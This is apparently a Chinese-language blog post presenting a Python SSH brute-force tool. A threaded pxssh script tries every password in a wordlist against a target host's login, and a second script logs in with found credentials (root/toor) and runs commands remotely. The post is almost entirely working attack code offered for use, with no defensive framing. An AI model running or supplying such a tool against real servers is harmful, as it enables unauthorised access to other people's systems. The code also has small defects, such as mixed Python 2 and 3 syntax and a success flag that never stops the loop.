Python腳本--爆破SSH

利用Pxssh是pexpect庫的ssh專用腳本

環境:kali

代碼:

'''
Author:yw
'''
from pexpect import pxssh
import optparse
from threading import *

Max_Connect = 5
connection_lock = BoundedSemaphore(value=Max_Connect)

def connect(host, user, password):
    try:
        s = pxssh.pxssh()
        s.login(host, user, password)
        print("[+]Password Found:"+password)
        Found = True
    except Exception as e:
        pass
def main():
    parser = optparse.OptionParser('usage %prog -H <target host> -f <passwd file> -u <username>')
    parser.add_option('-H', dest='host', type='string', help='target host')
    parser.add_option('-f', dest='passwdfile',type='string', help='passwofile')
    parser.add_option('-u', dest='user', type='string', help='login username')
    (options,args) = parser.parse_args()
    host = options.host
    passwdfile = options.passwdfile
    user = options.user
    if host==None or passwdfile==None or user==None:
        print(parser.usage)
        exit(0)
    mn = open(passwdfile,'r')
    lines = mn.readlines()
    for line in lines:
        with connection_lock:
            password = line.strip('\n')
            print('[-] Test:'+str(password))
            t = Thread(target=connect,args=(host, user, password))
            t.start()
if __name__ == '__main__':
    main()

執行結果:
Python腳本--爆破SSH

爆破成功後(遠程執行上述命令)

代碼:

'''
Author:yw
'''
from pexpect import pxssh
def send_shell(s,shell):
    s.sendline(shell)
    s.prompt()
    print s.before
def connect(host,user,password):
    try:
        s=pxssh.pxssh()
        s.login(host,user,password)
        return s
    except:
        print("[-] Error Connecting")
        exit(0)
s=connect('127.0.0.1','root','toor')
send_shell(s,'uname -a')

Python腳本--爆破SSH

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章